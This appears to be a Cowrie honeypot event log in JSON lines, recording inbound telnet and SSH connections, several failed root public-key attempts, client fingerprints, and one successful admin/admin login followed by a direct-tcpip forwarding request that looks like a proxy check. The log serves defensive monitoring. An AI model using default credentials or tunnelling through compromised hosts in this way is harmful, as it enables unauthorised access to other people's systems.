{"eventid":"cowrie.session.connect","src_ip":"2.26.252.153","src_port":40530,"dst_ip":"10.17.0.5","dst_port":23,"session":"612b6f6dbfcf","protocol":"telnet","message":"New connection: 2.26.252.153:40530 (10.17.0.5:23) [session: 612b6f6dbfcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:33:15.845219Z"}
{"eventid":"cowrie.session.closed","duration":4.304180860519409,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:33:20.149193Z","src_ip":"2.26.252.153","session":"612b6f6dbfcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.10.237.211","src_port":4431,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebb7d401913b","protocol":"telnet","message":"New connection: 89.10.237.211:4431 (10.17.0.5:23) [session: ebb7d401913b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:33:38.176880Z"}
{"eventid":"cowrie.session.closed","duration":13.929219722747803,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:33:52.105970Z","src_ip":"89.10.237.211","session":"ebb7d401913b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.222.205.150","src_port":40990,"dst_ip":"10.17.0.5","dst_port":23,"session":"69fb3292e026","protocol":"telnet","message":"New connection: 89.222.205.150:40990 (10.17.0.5:23) [session: 69fb3292e026]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:34:21.753687Z"}
{"eventid":"cowrie.session.closed","duration":13.036598920822144,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:34:34.790123Z","src_ip":"89.222.205.150","session":"69fb3292e026","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.242","src_port":57290,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5c7195cee9c","protocol":"ssh","message":"New connection: 78.111.67.242:57290 (10.17.0.5:22) [session: b5c7195cee9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:35:20.987463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:35:20.992638Z","src_ip":"78.111.67.242","session":"b5c7195cee9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:35:21.087157Z","src_ip":"78.111.67.242","session":"b5c7195cee9c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:26:e4:e4:94:72:9f:b8:a0:a9:3d:9c:0b:b9:85:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6fmIA7cxgWHO6vzSvIYKDubDlHS3CAYUy7eeztcEBikP3QZf6lYGNgIluIPGSdJQ3o9B8i7rykMtwhPuIQOjSYjXNE09lBSHtnmBjljM/HNynFBXSlAzvFE7CRjrOP2/xzGoX7SG11U1tsQNOdMwANkXupEYqty6u+IG3wolIFGEqsw8M3cZgPyqXdBs8N/wkSV+f7MAp+Mq9WA3SNiafTOoBE4EBWpFM10ifBEOkQimIpZymUZ8jbW+/ZlPD6nPhJRtxEBqidoA1hYIWuwX2wQb1P6Wn//ZtMhIX/uDBeltzJROBW163QVQBrh4NNmr80e79+evsteiSqwZJkgV2w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:26:e4:e4:94:72:9f:b8:a0:a9:3d:9c:0b:b9:85:36","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:35:21.520741Z","src_ip":"78.111.67.242","session":"b5c7195cee9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:26:e4:e4:94:72:9f:b8:a0:a9:3d:9c:0b:b9:85:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6fmIA7cxgWHO6vzSvIYKDubDlHS3CAYUy7eeztcEBikP3QZf6lYGNgIluIPGSdJQ3o9B8i7rykMtwhPuIQOjSYjXNE09lBSHtnmBjljM/HNynFBXSlAzvFE7CRjrOP2/xzGoX7SG11U1tsQNOdMwANkXupEYqty6u+IG3wolIFGEqsw8M3cZgPyqXdBs8N/wkSV+f7MAp+Mq9WA3SNiafTOoBE4EBWpFM10ifBEOkQimIpZymUZ8jbW+/ZlPD6nPhJRtxEBqidoA1hYIWuwX2wQb1P6Wn//ZtMhIX/uDBeltzJROBW163QVQBrh4NNmr80e79+evsteiSqwZJkgV2w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:35:21.524647Z","src_ip":"78.111.67.242","session":"b5c7195cee9c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:e6:12:00:77:05:b1:19:19:70:ca:20:4e:7c:48:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNXjLliLZYwFvdsOaLtpBKayjn/kgNTwQRuIjthUalClCxuX0l2RwVk79yAHPzKCgN2N0eZvwdDhB5GzGXV/TfhGAZ8o4Vd3Gx4UdnuM4dinpIcixEGp4DF4fumuxEjh1VR/4DrZh5jZsWkMpUVAxy614qnFO7y7crNlez8Er4F5+XyUE5sw3GcgAsfJMvb8k5dpkqdJWmaSs5CuO2vE0kaaKZqoL1Kly8Fy/p9K9/DUeKCdo61jmOeW4pqnMJ7WUQ68oXuuo5OmRhXLum00v9ZwAtMlF7sfD77/yhJz8mL75jU6rDiKdedkYi/XXlNDeJWg0JKyzXqT4usOHCUfi5HGPdySqwIrF6YmIv0xt4foyIRqyVMJTZbWC8+FZyg2vkemesDYOp1Qw5Et1mhzB0s0MazjMOdC3rAHuiUpS4LO2G2kK0eiHf885hbERjwbPQtHyzNcTA1swOSwyJ2PrnM8ZHL4qGZIVGP49I4Z0X3YAM2HwMny1T6E5E8KDF641aqI7ZfGhS8rYM3InSOC7lbqTwNJiWkOcMIjmVj8Us/Ty9OuELLvN8onUpf2N9ezxyCtkLLmWZ29E9l3ZD/jPsgPvD+/bHAnFQT1QUyqovDiXZ2Cp4NUejtJsLLbOiJgY1Z/5uOHvDYEfmdZC/HeSNMTmR9rU3SyfJSqDEkRLqwQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:e6:12:00:77:05:b1:19:19:70:ca:20:4e:7c:48:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:35:21.616796Z","src_ip":"78.111.67.242","session":"b5c7195cee9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:e6:12:00:77:05:b1:19:19:70:ca:20:4e:7c:48:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNXjLliLZYwFvdsOaLtpBKayjn/kgNTwQRuIjthUalClCxuX0l2RwVk79yAHPzKCgN2N0eZvwdDhB5GzGXV/TfhGAZ8o4Vd3Gx4UdnuM4dinpIcixEGp4DF4fumuxEjh1VR/4DrZh5jZsWkMpUVAxy614qnFO7y7crNlez8Er4F5+XyUE5sw3GcgAsfJMvb8k5dpkqdJWmaSs5CuO2vE0kaaKZqoL1Kly8Fy/p9K9/DUeKCdo61jmOeW4pqnMJ7WUQ68oXuuo5OmRhXLum00v9ZwAtMlF7sfD77/yhJz8mL75jU6rDiKdedkYi/XXlNDeJWg0JKyzXqT4usOHCUfi5HGPdySqwIrF6YmIv0xt4foyIRqyVMJTZbWC8+FZyg2vkemesDYOp1Qw5Et1mhzB0s0MazjMOdC3rAHuiUpS4LO2G2kK0eiHf885hbERjwbPQtHyzNcTA1swOSwyJ2PrnM8ZHL4qGZIVGP49I4Z0X3YAM2HwMny1T6E5E8KDF641aqI7ZfGhS8rYM3InSOC7lbqTwNJiWkOcMIjmVj8Us/Ty9OuELLvN8onUpf2N9ezxyCtkLLmWZ29E9l3ZD/jPsgPvD+/bHAnFQT1QUyqovDiXZ2Cp4NUejtJsLLbOiJgY1Z/5uOHvDYEfmdZC/HeSNMTmR9rU3SyfJSqDEkRLqwQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:35:21.620893Z","src_ip":"78.111.67.242","session":"b5c7195cee9c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:f9:ca:f1:35:70:7d:36:66:ef:7b:f4:c6:8e:bd:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArwuYENsJSseQlMI6UksX7GQYBdT2h3AAR53b1uYlpnBMNwNaX9FTuVBb2rRvb8tJ216QMjvn4XPBXfQUxQOIdcAEBu+mzytF7hTVFzC35GIQNDFl47yXvtaKrJtG0UmK4ITJAlBqdOHwR4rMmcG7HxCNT+PuaxyQTHkR7CUWRpjer8BgWLYBCHsswCzbCR5teEtUS3vvqNRR8WXVWBBRWGZuu2KPck4Yt1r7TI9aEnlraynxbjrO7u3Tm+VwDABTRrU6YsMLfK209TqYsc7ZmPUawWwq3VbvBxZN7P/njuokw0i/7r/cfmepmmw84PiBiJXsPbg4WMyVpYrLxr//hw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8a:f9:ca:f1:35:70:7d:36:66:ef:7b:f4:c6:8e:bd:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:35:21.718597Z","src_ip":"78.111.67.242","session":"b5c7195cee9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:f9:ca:f1:35:70:7d:36:66:ef:7b:f4:c6:8e:bd:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArwuYENsJSseQlMI6UksX7GQYBdT2h3AAR53b1uYlpnBMNwNaX9FTuVBb2rRvb8tJ216QMjvn4XPBXfQUxQOIdcAEBu+mzytF7hTVFzC35GIQNDFl47yXvtaKrJtG0UmK4ITJAlBqdOHwR4rMmcG7HxCNT+PuaxyQTHkR7CUWRpjer8BgWLYBCHsswCzbCR5teEtUS3vvqNRR8WXVWBBRWGZuu2KPck4Yt1r7TI9aEnlraynxbjrO7u3Tm+VwDABTRrU6YsMLfK209TqYsc7ZmPUawWwq3VbvBxZN7P/njuokw0i/7r/cfmepmmw84PiBiJXsPbg4WMyVpYrLxr//hw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:35:21.724185Z","src_ip":"78.111.67.242","session":"b5c7195cee9c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0b:ae:4f:a7:4e:b8:46:1f:00:5f:ed:bc:01:7c:c3:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3W7Jeu3DwTlflRPMvia1MpRILCb/jWj5XRsSIz5dSlZwa7psSpQ9nPTpYBW8IdlavR3byHJQYZpAXXz9Ij8ziVQqOJyo+NS/7M/Dk9da8ijRWZgZJ6z7f+Sq6LSYDu5gVcm9IHPUAqOjyUifVS6bFryvpoOklblCcvXVphOjdxuvsGROPSwZE7NuPplaU324h40dpxyRvWpYMFj6haFqfOr4d7Ixfq7CCuSUxIF5ccpqSH8285rriLp3SGCvb6scw15t+v0mhWJeLYjUm/ZkLBsool46Uhg+QgooPWO4oCC8egSopguvbnvXOHXJ+BETBkeehCrJ6ntzxvASgounXQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0b:ae:4f:a7:4e:b8:46:1f:00:5f:ed:bc:01:7c:c3:65","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:35:21.820505Z","src_ip":"78.111.67.242","session":"b5c7195cee9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0b:ae:4f:a7:4e:b8:46:1f:00:5f:ed:bc:01:7c:c3:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3W7Jeu3DwTlflRPMvia1MpRILCb/jWj5XRsSIz5dSlZwa7psSpQ9nPTpYBW8IdlavR3byHJQYZpAXXz9Ij8ziVQqOJyo+NS/7M/Dk9da8ijRWZgZJ6z7f+Sq6LSYDu5gVcm9IHPUAqOjyUifVS6bFryvpoOklblCcvXVphOjdxuvsGROPSwZE7NuPplaU324h40dpxyRvWpYMFj6haFqfOr4d7Ixfq7CCuSUxIF5ccpqSH8285rriLp3SGCvb6scw15t+v0mhWJeLYjUm/ZkLBsool46Uhg+QgooPWO4oCC8egSopguvbnvXOHXJ+BETBkeehCrJ6ntzxvASgounXQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:35:21.825272Z","src_ip":"78.111.67.242","session":"b5c7195cee9c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:60:7d:4d:53:3a:65:1d:ac:5c:55:8d:01:bd:92:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtiXndgEyuShOHZDRTQ9eaB8SFzPQy88iB2/U79tyk+PBo2ZGDVjCqsiBEasx1YDhhFV0ggANPYcEanTGALJro9T7QIqzPj1FHy4lpNs3D+OVIH4hVdFquv7uuSMioYY97vn5i6oQBld+VoTfzddW08C7Ft6vj/CRF5nnBdtNkQ5vZ4LDYcJf2xzJY040X8bjWUtLaTtZFB7KvMo/bri4Y+Xi4hRcWWLvqqAz8NO5wD+mx8SHdVcIZcHboxnriFHLR1rfEcxfafM5HcKL4uEWGNln5fKJedQzwaggbVvm9RUNR1gM6Br+ut8GLAXF8nzG195oKEGnApi48c6md7P+Uw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:60:7d:4d:53:3a:65:1d:ac:5c:55:8d:01:bd:92:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:35:21.917761Z","src_ip":"78.111.67.242","session":"b5c7195cee9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:60:7d:4d:53:3a:65:1d:ac:5c:55:8d:01:bd:92:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtiXndgEyuShOHZDRTQ9eaB8SFzPQy88iB2/U79tyk+PBo2ZGDVjCqsiBEasx1YDhhFV0ggANPYcEanTGALJro9T7QIqzPj1FHy4lpNs3D+OVIH4hVdFquv7uuSMioYY97vn5i6oQBld+VoTfzddW08C7Ft6vj/CRF5nnBdtNkQ5vZ4LDYcJf2xzJY040X8bjWUtLaTtZFB7KvMo/bri4Y+Xi4hRcWWLvqqAz8NO5wD+mx8SHdVcIZcHboxnriFHLR1rfEcxfafM5HcKL4uEWGNln5fKJedQzwaggbVvm9RUNR1gM6Br+ut8GLAXF8nzG195oKEGnApi48c6md7P+Uw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:35:21.922115Z","src_ip":"78.111.67.242","session":"b5c7195cee9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:35:22.014596Z","src_ip":"78.111.67.242","session":"b5c7195cee9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.81.147.62","src_port":47928,"dst_ip":"10.17.0.5","dst_port":23,"session":"6370f52825e6","protocol":"telnet","message":"New connection: 161.81.147.62:47928 (10.17.0.5:23) [session: 6370f52825e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:35:27.649418Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.224.126.107","src_port":33198,"dst_ip":"159.203.135.109","dst_port":22,"session":"cea89b4db458","protocol":"ssh","message":"New connection: 43.224.126.107:33198 (159.203.135.109:22) [session: cea89b4db458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:35:35.222147Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.115.219","src_port":49790,"dst_ip":"10.17.0.5","dst_port":23,"session":"af75986cc0db","protocol":"telnet","message":"New connection: 20.203.115.219:49790 (10.17.0.5:23) [session: af75986cc0db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:35:36.219823Z"}
{"eventid":"cowrie.session.closed","duration":12.59970211982727,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:35:40.249005Z","src_ip":"161.81.147.62","session":"6370f52825e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.80917501449585,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:35:45.028766Z","src_ip":"20.203.115.219","session":"af75986cc0db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.215.144.32","src_port":44496,"dst_ip":"159.203.135.109","dst_port":23,"session":"19310d9eb05c","protocol":"telnet","message":"New connection: 172.215.144.32:44496 (159.203.135.109:23) [session: 19310d9eb05c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:36:50.191243Z"}
{"eventid":"cowrie.session.closed","duration":10.05054521560669,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:37:00.241685Z","src_ip":"172.215.144.32","session":"19310d9eb05c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.215.144.32","src_port":39422,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae1f0c781201","protocol":"telnet","message":"New connection: 172.215.144.32:39422 (159.203.135.109:23) [session: ae1f0c781201]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:37:00.296444Z"}
{"eventid":"cowrie.session.closed","duration":0.06528830528259277,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:37:00.361599Z","src_ip":"172.215.144.32","session":"ae1f0c781201","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:37:35.232775Z","src_ip":"43.224.126.107","session":"cea89b4db458","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.23","src_port":40366,"dst_ip":"10.17.0.5","dst_port":22,"session":"753f09a2c6ac","protocol":"ssh","message":"New connection: 176.65.132.23:40366 (10.17.0.5:22) [session: 753f09a2c6ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:41:29.693074Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:41:29.699337Z","src_ip":"176.65.132.23","session":"753f09a2c6ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.23","src_port":40382,"dst_ip":"10.17.0.5","dst_port":22,"session":"000743a4efb3","protocol":"ssh","message":"New connection: 176.65.132.23:40382 (10.17.0.5:22) [session: 000743a4efb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:41:29.863137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:41:29.869282Z","src_ip":"176.65.132.23","session":"000743a4efb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:41:29.953495Z","src_ip":"176.65.132.23","session":"000743a4efb3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:41:30.124324Z","src_ip":"176.65.132.23","session":"000743a4efb3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"176.65.132.23","dst_port":80,"src_ip":"176.65.132.23","src_port":5555,"message":"direct-tcp connection request to 176.65.132.23:80 from 127.0.0.1:5555","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:41:30.210474Z","session":"000743a4efb3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"176.65.132.23","dst_port":80,"data":"b'4kygVy59FN8ax4n38v6viv9JYWENZObYyArTKNwyzMLurY0ASq'","id":0,"message":"discarded direct-tcp forward request 0 to 176.65.132.23:80 with data b'4kygVy59FN8ax4n38v6viv9JYWENZObYyArTKNwyzMLurY0ASq'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:41:30.296137Z","src_ip":"176.65.132.23","session":"000743a4efb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:41:30.398055Z","src_ip":"176.65.132.23","session":"000743a4efb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.143.23.35","src_port":4622,"dst_ip":"159.203.135.109","dst_port":23,"session":"c806ff20d5c4","protocol":"telnet","message":"New connection: 49.143.23.35:4622 (159.203.135.109:23) [session: c806ff20d5c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:45:19.160287Z"}
{"eventid":"cowrie.session.closed","duration":30.63555669784546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:45:49.795699Z","src_ip":"49.143.23.35","session":"c806ff20d5c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":17794,"dst_ip":"10.17.0.5","dst_port":22,"session":"a843142eada2","protocol":"ssh","message":"New connection: 213.209.159.56:17794 (10.17.0.5:22) [session: a843142eada2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:47:22.026697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:47:22.031585Z","src_ip":"213.209.159.56","session":"a843142eada2","protocol":"ssh"}
